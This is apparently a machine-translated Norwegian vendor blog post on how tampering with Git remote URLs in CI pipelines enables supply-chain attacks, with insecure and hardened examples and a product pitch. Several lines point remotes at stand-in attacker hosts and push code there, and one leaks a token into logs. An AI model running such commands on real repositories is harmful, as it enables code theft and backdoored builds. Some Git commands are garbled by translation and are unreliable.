git remote set-url - git sett url for fjernkontroll - git legg til fjernkontroll

Når Git remote set-url blir en risiko i forsyningskjeden

Den skjulte risikoen bak en enkel Git-kommando

For de fleste utviklere er det å kjøre en kommando som git remote set-url origin føles rutinemessig, bare et nytt steg i å vedlikeholde Git-konfigurasjonen. CI-skript utfører også ofte kommandoer som git remote set-url, Git set url for remote eller Git remote add for å hente eller pushe kode under bygging. Men her er risikoen: hvis en angriper tukler med den konfigurasjonen (lokalt eller i CI), kan de omdirigere kilden din til et skadelig arkiv, avskjære legitimasjon eller injisere skadelig programvare i forsyningskjeden.

Eksempel på hvordan det vanligvis brukes:

# Legitim bruk

git eksternt sett-url-opprinnelse https://github.com/org/project.git

⚠️ Usikkert eksempel, kun for pedagogiske formål. Ikke bruk i produksjon.

				
					# ❌ Malicious alteration (insecure)
git remote set-url origin https://evil-repo.attacker.net/project.git

				
			

Sikre versjon, pin og bekrefte opprinnelse i arkivet

				
					# ✅ Secure: use a fixed, validated origin and log intent
git remote set-url origin https://github.com/secure-org/project.git
# Educational note: prefer hardcoded, audited origins or validate against a whitelist before setting.

				
			

Hvorfor? Hvis fjernkontrollen byttes til en angriperkontrollert vert, peker hver påfølgende git fetch/git push til skadelig kode. Hardkode pålitelige opprinnelser når det er mulig, og unngå uvaliderte dynamiske URL-er.

Hvordan fjernmanipulering kompromitterer byggingen Pipeline

En modifisert ekstern Git-URL kan ha alvorlige konsekvenser i automatiserte pipelines der skript er implisitt klarert.

Eksempelscenario:

  • Et CI-skript bruker git remote set-url til å konfigurere repositorier dynamisk.
  • En kompromittert miljøvariabel (f.eks. token eller repo-URL) injiseres i skriptet.
  • Byggingen henter eller sender kode til et ondsinnet repo.
  • Angriperen setter inn bakdører eller tuklede avhengigheter.

⚠️ Usikkert eksempel, kun for pedagogiske formål. Ikke bruk i produksjon.

				
					# ❌ CI/CD pipeline with an unvalidated remote URL
steps:
  - name: Set remote
    run: git remote set-url origin $REPO_URL
  - name: Build and deploy
    run: npm install && npm run build

				
			

Sikker versjon, valider $REPO_URL før bruk (hvitliste- / xygeni-verifisering).

				
					# ✅ CI/CD pipeline with validation guardrail
steps:
  - name: Validate REPO_URL
    run: |
      # Educational note: never accept raw URLs without validation.
      if ! xygeni verify --git-origin "$REPO_URL" --whitelist domains.txt; then
        echo "Untrusted repo origin: $REPO_URL" && exit 1
      fi
  - name: Set remote (safe)
    run: git remote set-url origin "$REPO_URL"
  - name: Build and deploy
    run: npm ci && npm run build

				
			

Hvorfor: Valider innkommende repo-URL-er mot en vedlikeholdt hviteliste (eller bruk xygeni verify --git-origin) før de handler på dem. Dette hindrer angripere i å overstyre miljøvariabler for å omdirigere pipelines.

Oppdage uautoriserte endringer i ekstern konfigurasjon

Git varsler deg ikke når en fjernkontroll endres. Proaktiv overvåking av .git/config og integritetskontroller før bygging er nødvendige.

Praktiske deteksjonsteknikker

  • Inspiser Git-konfigurasjonen:

     
    git remote -v

    Sammenlign utdata med forventede URL-er lagret i en sikker grunnlinje.

  • Validere .git/config integritet:

     
    sha256sum .git/config

    Sammenlign sjekksummen med en pålitelig grunnlinje.

  • CI-basert validering:

     
    validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git

Pedagogisk merknad: Ikke kjør integritetskontroller eller verifiseringskommandoer med langvarig legitimasjon eksponert i logger eller ubeskyttede miljøer. Bruk kortvarig legitimasjon, hvelvede hemmeligheter, og unngå å kjøre valideringskommandoer som en privilegert bruker der det er mulig.

Deteksjonstips: Se etter eksterne enheter som peker til ikke-kanoniske domener (uventet .net, .io, IP-adresser), dupliserte eksterne navn eller miljøvariabler som kontrollerer repositori-URL-er uten validering. Tidlig deteksjon forhindrer git set-url manipulasjon fra forurensende bygninger.

Sikring av repositoriopprinnelser med Guardrails og hashvalidering

Forebygging betyr å håndheve strenge kontroller over hvilke repositorier du bygger fra. Guardrails inkluderer signering, hash-validering og begrensning av hvem som kan endre CI-variabler.

Sikre praksiser for integritet i lagringsplasser

Fest URL-er til repositorier, hardkode pålitelige opprinnelser der det er mulig:

				
					# ✅ Secure practice: fixed, audited origin
git remote set-url origin https://github.com/secure-org/project.git
Enforce commit signing:
# ✅ Verify commit signatures before builds
git verify-commit HEAD

				
			

Valider hash-er for repositoriet:

Bekreft at HEAD samsvarer med en forventet hash før bygging.

⚠️ Usikkert eksempel, utskrift av tokener i logger (ikke bruk i produksjon).

				
					# ❌ Insecure token handling (do not print secrets)
echo "Deploying with token: $DEPLOY_TOKEN"

				
			

Sikker versjon, les hemmeligheter fra hvelvet og skriv aldri ut

				
					# ✅ Secure: retrieve secrets from vault and avoid echoing them
export DEPLOY_TOKEN=$(vault read -field=value secret/deploy_token)
# Educational note: Never print tokens or secrets to logs; use masked variables in CI.

				
			

Mini-sjekkliste: Sikker fjernadministrasjon av Git

  • Håndheve ekstern URL-hvitelisting eller verifisering.
  • Valider .git/config-integriteten før bygging.
  • Krev signering commits og tagger.
  • Begrens hvem som kan endre CI-miljøvariabler.
  • Logg utførelser av git remote set-url og git remote add for revisjon.

Integrering av URL-validering for Git Remote Set i CI/CD Pipelines

Legg til guardrails og automatisert verifisering for å stoppe fjernmanipulasjon tidlig i prosessen pipeline.

Eksempel på Guardrail: sjekk for dupliserte eller uautoriserte fjernkontroller

				
					# ✅ Pipeline guardrail: detect duplicate or unauthorized remotes
steps:
  - name: Check remotes
    run: |
      git remote -v > /tmp/remotes.txt
      if grep -E "evil-repo|attacker" /tmp/remotes.txt; then
        echo "Unauthorized remote detected" && exit 1
      fi
      # Validate current origin matches expected
      if ! xygeni verify --git-origin "$(git config --get remote.origin.url)" --whitelist domains.txt; then
        echo "Origin verification failed" && exit 1
      fi

				
			

Herding mot manipulering av forsyningskjeden i delte miljøer

Delte løpere og tillatte fjernkommandoer er høyrisiko. Unngå kommandoer som legger til ukontrollerte fjernkontroller under jobbkjøring.

⚠️ Usikkert eksempel, legge til en angriperfjernkontroll (ikke bruk).

				
					# ❌ Insecure: adding an unvetted remote
git remote add backup https://attacker.net/mirror.git

				
			

Sikker versjon, begrens til validerte domener og bruk –set-url kun for godkjente opprinnelser

				
					# ✅ Secure: modify remotes only after domain validation
VALID_DOMAIN="github.com|gitlab.com|internal.company.com"
REMOTE_URL="https://github.com/secure-org/project.git"
if echo "$REMOTE_URL" | grep -Eq "$VALID_DOMAIN"; then
  git remote add backup "$REMOTE_URL"
else
  echo "Refusing to add unapproved remote" && exit 1
fi

				
			

Merk: foretrekk flyktige løpere og unngå vedvarende delte hurtigbuffere mellom jobber.

Merknad om løpere: Bruk kortvarige, isolerte løpere som gjenskapes for hver jobb. Delte disker eller hurtigbuffere kan beholde manipulerte filer på tvers av bygg.

Integrering av Git set URL for ekstern validering i CI/CD Pipelines

Å sikre bruk av git remote set-url handler ikke bare om manuelle kontroller; det handler om automatisering. Moderne DevSecOps-arbeidsflyter kan integrere validering direkte i CI/CD pipelines.

Eksempel: Automatisert fjernintegritetsvalidering

				
					stages:
  - validate
  - build


validate-repo:
  script:
    - echo "Validating repository origin..."
    - xygeni enforce --policy git-origin.yaml
    - xygeni scan --detect-remote-tampering

				
			

Denne konfigurasjonen sikrer at før noen bygging eller distribusjon kjøres, pipeline validerer:

  • Repository-URL-en samsvarer med forventet verdi.
  • Commit signaturene er gyldige.
  • Ingen uventede fjernkontroller ble lagt til ved bruk av git add remote.

Ytterligere CI-kontroller

  • Pre-commit hooksSjekk at det ikke finnes uautoriserte git eksternt sett-url kommandoer finnes i commits.
  • Håndheving av policy som kode: Definer tillatte opprinnelser som en del av versjonskontrollerte policyer.
  • Avhengighetsspeiling: Hent kode fra verifiserte interne speil i stedet for direkte internettkilder.

Automatisering av disse kontrollene forhindrer ikke bare feilkonfigurasjoner, men oppdager også forsøk på manipulering av forsyningskjeden før koden i det hele tatt sendes.

Herding mot manipulering av forsyningskjeden i delte miljøer

Delte løpere eller flyktige CI-miljøer introduserer ytterligere risikoer. Når flere bygg deler ressurser, kan git remote set-url- eller git add remote-kommandoer bli utnyttet som våpen for å bevare ondsinnede fjernprogrammer på tvers av økter.

Vanlige angrepsscenarier

Et kompromittert byggeskript legger til en ny fjernkontroll for å sende kode til en angripers arkiv:

git legg til ekstern sikkerhetskopiering https://attacker.example.com/repo.git

git push sikkerhetskopi hoved

  • Et annet prosjekt som kjører på samme CI-agent henter data fra denne forurensede tilstanden.
  • Sensitive data som tokener eller byggeartefakter lekker via uautoriserte pushes.

Herdingstiltak

  • Flyktige løpere: Tilbakestill CI-miljøer etter hver bygging.
  • Nettverksisolering: Begrens utgående trafikk til godkjente domener.
  • Minste privilegium: Begrens tillatelser for Git-operasjoner i pipelines.
  • Artefaktsignering: Sørg for at alle byggeutdata er kryptografisk signert og verifisert.

Ved å kombinere isolering, validering og overvåking kan team nøytralisere angrep som utnytter git set url for ekstern manipulasjon.

Valider, overvåk og automatiser tillit til databaser

En enkelt misbrukt git remote set-url eller ubekreftet git add remote kan stille omdirigere hele byggeprosessen til et angriperkontrollert repository. Grensen mellom produktivitet og kompromiss i DevOps er tynnere enn noensinne, og angrep på programvare i forsyningskjeden utnytte nettopp det.

For å opprettholde tilliten til din pipelines:

Plattformer som Xygeni hjelpe DevSecOps-team med å oppdage eksterne feilkonfigurasjoner, overvåke tillitsgrenser for repositorier og blokkere risikoer i forsyningskjeden som stammer fra misbruk av Git, før ondsinnede eksterne brukere i det hele tatt får sjansen til å distribuere kode.

Stol på arbeidsflyten din, men bekreft kildekoden din. Slik hindrer du at git remote set-url blir ditt neste sikkerhetsbrudd.

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken